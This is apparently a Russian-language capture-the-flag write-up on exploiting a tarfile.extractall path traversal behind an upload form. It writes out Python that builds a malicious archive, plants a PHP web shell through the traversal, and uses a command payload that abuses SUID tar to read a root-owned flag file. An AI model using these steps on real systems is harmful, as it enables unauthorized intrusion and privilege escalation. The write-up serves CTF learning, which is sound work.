Итак первое что мы видим это как в /upload.php вызывается питон скрипт

...

И уже в нем заключается основная уязвимость tar.extactall

...

Немного погуглив находим нечто похожее на то что там нужно и на этом заканчиваем статический анализ

...

Теперь мы знаем что там нужно запихнуть в архив файлик с именем содержащим Path Traversal
изучаю стуктуру проекта нам нужно нечто ../../../var/www/html/[имя файла] создать его можно например так

import tarfile
with open('shell.php' ,'w') as f: f.write("") with tarfile.open("malic.tar.gz", 'w:gz') as tar: tar.add('shell.php', arcname='../../../var/www/html/shell.php')

Получив архив в вебшеллом подгружаем его на сайт через форму и теперь мы загрузили свой файлик и можем обращаться к нему по [ip:port]/shell.php

И тут новая проблема флаг то в руте лежит, надо как-то получить право рута
Для этого воспользуемся SUID битом , это та самая s когда просматриваем права на файлик ls -la
Подключимся к нашему контейнеру на локалке

docker exec -it [имя/id контейнера] sh 

# find / -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/bin/mount
/bin/su
/bin/umount
/bin/tar

Как види у bin/tar есть права, это почти победа

Пишем немного инвалидский но зато рабочий payload который архивирует потом разархивирует и в выводит флаг

shell.php?cmd=cd /tmp ; /bin/tar czvf t /root/flag.txt ; /bin/tar xzvf t ; cat ./root/flag.txt

...

<(у меня сверху первая рабочая версия)>